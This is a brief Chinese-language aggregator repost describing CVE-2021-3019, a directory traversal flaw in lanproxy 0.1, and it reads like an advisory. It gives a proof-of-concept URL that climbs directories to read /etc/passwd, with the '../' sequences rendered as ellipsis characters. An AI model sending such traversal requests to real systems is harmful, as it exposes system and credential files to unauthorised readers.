CVE-2021-3019

Posted 2021-12-20 ying-hack

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了CVE-2021-3019相关的知识，希望对你有一定的参考价值。

lanproxy 文件读取

lanproxy简介

lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具，支持tcp流量转发，可支持任何tcp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面…）

漏洞影响版本

lanproxy 0.1

漏洞概述

通过…/…/可以穿越目录进行目录遍历

漏洞复现

http://BaseUrl/…/…/…/…/…/etc/passwd

以上是关于CVE-2021-3019的主要内容，如果未能解决你的问题，请参考以下文章